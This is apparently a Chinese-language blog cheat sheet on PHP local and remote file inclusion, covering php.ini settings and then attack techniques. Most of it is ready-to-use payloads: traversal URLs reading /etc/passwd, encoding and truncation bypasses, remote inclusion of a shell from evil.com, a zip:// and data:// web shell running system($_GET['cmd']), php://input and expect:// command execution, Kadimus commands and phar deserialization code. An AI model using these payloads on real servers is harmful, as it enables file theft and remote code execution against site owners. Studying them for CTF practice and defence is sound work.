从PHP5.2开始,在默认情况下,allow_url_include
是禁用的。
allow_url_fopen 默认为 On
是否允许将URL(如http://或ftp://)作为文件处理。
allow_url_include 默认为 Off
是否允许include/require打开URL(如http://或ftp://)作为文件处理。
你可以通过php.ini启用allow_url_include:
1 2 /etc/php7/apache2/php.ini allow_url_include = On
当 allow_url_include
为 On 且 allow_url_fopen
为 On 的时候:
5.2版本的PHP,默认开启了register_globals,包含的是 txt 然而被解析成了PHP。
当 allow_url_include
为 On 而 allow_url_fopen
为 Off 的时候:
需通过 php://input
伪协议进行包含,只是都需要 allow_url_include
为On
Basic LFI LFI(Local File Inclusion,本地文件包含)
利用目录穿越读取文件:
1 http:// 52 hertz.tech/index.php?page=../ ../../ etc/passwd
Null Byte 这种情况是服务端在文件包含的时候添加了一个固定的文件后缀比如是(.php),这样会导致请求/etc/passwd会变成/etc/passwd.php,这样就找不到文件了。
在 PHP 版本低于 5.3.4 我们可以使用00截断(空字节截断),因为%00在C语言中代表结束,PHP是基于C语言的。
1 http://52hertz.tech/index.php?page=../../../etc/passwd%00
Double encoding 二次编码
1 2 http://52hertz.tech/index.php?page=%252e%252e%252fetc%252fpasswd http://52hertz.tech/index.php?page=%252e%252e%252fetc%252fpasswd%00
UTF-8 encoding 1 2 http://52hertz.tech/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd http://52hertz.tech/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
Path and dot truncation 长度截断:大多数情况下,一直重复目录字符串 ./
,超过4096个字节的文件名将被剪切掉(Windows 下是256byte),因此多余的字符将被丢弃。
1 2 3 4 http://52hertz.tech/index.php?page=../../../etc/passwd............[ADD MORE] http://52hertz.tech/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE] http://52hertz.tech/index.php?page=../../../etc/passwd/./././././.[ADD MORE] http://52hertz.tech/index.php?page=../../../[ADD MORE]../../../../etc/passwd
Filter bypass tricks 当然有时候可能过滤掉 ./
,有一些 bypass 的小技巧
1 2 3 http://52hertz.tech/index.php?page=....//....//etc/passwd http://52hertz.tech/index.php?page=..///////..////..//////etc/passwd http://52hertz.tech/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Basic RFI LFI(Remote File Inclusion,远程文件包含),漏洞条件:allow_url_include
为 On
Most of the filter bypasses from LFI section can be reused for RFI.
1 http:// 52 hertz.tech/index.php?page=http:/ /evil.com/ shell.txt
Null byte 1 http:// 52 hertz.tech/index.php?page=http:/ /evil.com/ shell.txt%00
Double encoding 1 http ://52 hertz.tech/index.php?page=http:%252 f%252 fevil.com%252 fshell.txt
Bypass allow_url_include 当 allow_url_include
and allow_url_fopen
都为 Off
,可以利用SMB共享来绕过 php 远程文件包含的限制。
新建一个 share
在里面写入 php : shell.php
然后进行包含 http://52hertz.tech/index.php?page=\\6.6.6.6\share\shell.php
freebuf 上 有一篇文章 讲得比较详细
LFI / RFI using wrappers 利用包装器来进行 LFI/RFI
Wrapper php://filter 详细文档 在这
大小写不敏感:
1 2 3 4 http://52hertz.tech/index.php?page=php://filter /read=string.rot13/resource=index.php http://52hertz.tech/index.php?page=php://filter /convert.iconv.utf-8. utf-16 /resource=index.php http://52hertz.tech/index.php?page=php://filter /convert.base64-encode/resource=index.php http://52hertz.tech/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
可以与大型文件的压缩包装器链接在一起
1 http://52hertz.tech/index.php?page=php://filter /zlib.deflate/convert.base64-encode/resource=/etc/passwd
NOTE:Wrappers 可以用 |
or /
进行多次链接:
Multiple base64 decodes: php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s
deflate then base64encode (useful for limited character exfil): php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php
1 2 ./kadimus -u "http://52hertz.tech/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page curl "http://52hertz.tech/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
Wrapper zip:// 详细文档 在这
1 2 3 4 5 6 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://52hertz.tech/index.php?page=zip://shell.jpg%23payload.php
Wrapper data:// 详细文档 在这
1 2 http://52hertz.tech/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= //NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
还有这个玩意:
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://52hertz.tech/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Wrapper expect:// 详细文档 在这
1 2 http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls
这个在CTF一些基础的php题里面经常会碰到,当代码里含有 file_get_contents($var,'r')
进行比较的时候,这个变量我们是可控的,可以绕过一些比对验证。
使用方式:
1 2 3 例如:if (file_get_contents ($var ,'r' ) === 'admin' ) url: "https://52hertz.tech/index.php?var=php://input"
Note:enctype="multipart/form-data"
的时候 php://input
是无效的。
当然也可以通过 curl
命令来实现
1 2 curl -X POST --data "admin" "https://52hertz.tech/index.php?var=php://input" curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://52hertz.tech/index.php?page=php://input%00" -k -v
另外,Kadimus具有自动执行此攻击的模块。
1 ./kadimus -u "https://52hertz.tech/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
Wrapper phar:// 关于 phar://
的详细文档 在这 ,或者参看另一篇 博客
创建一个 meta-data
带有序列化对象的 phar 文件
1 2 3 4 5 6 7 8 9 10 11 12 $phar = new Phar ('test.phar' );$phar ->startBuffering ();$phar ->addFromString ('test.txt' , 'text' );$phar ->setStub ('<?php __HALT_COMPILER(); ? >' );class AnyClass {}$object = new AnyClass ;$object ->data = 'rips' ;$phar ->setMetadata ($object );$phar ->stopBuffering ();
如果现在通过 phar://
包装器对我们现有的 phar
文件执行文件操作,则其序列化的元数据将被反序列化。 如果此应用程序有一个名为AnyClass的类,并且定义了魔术方法__destruct()
或__wakeup()
,则将自动调用这些方法。
1 2 3 4 5 6 7 class AnyClass { function __destruct ( ) { echo $this ->data; } }include ('phar://test.phar' );
Note: 在任何文件操作,file_exists
等中,都会为 phar://
触发反序列化。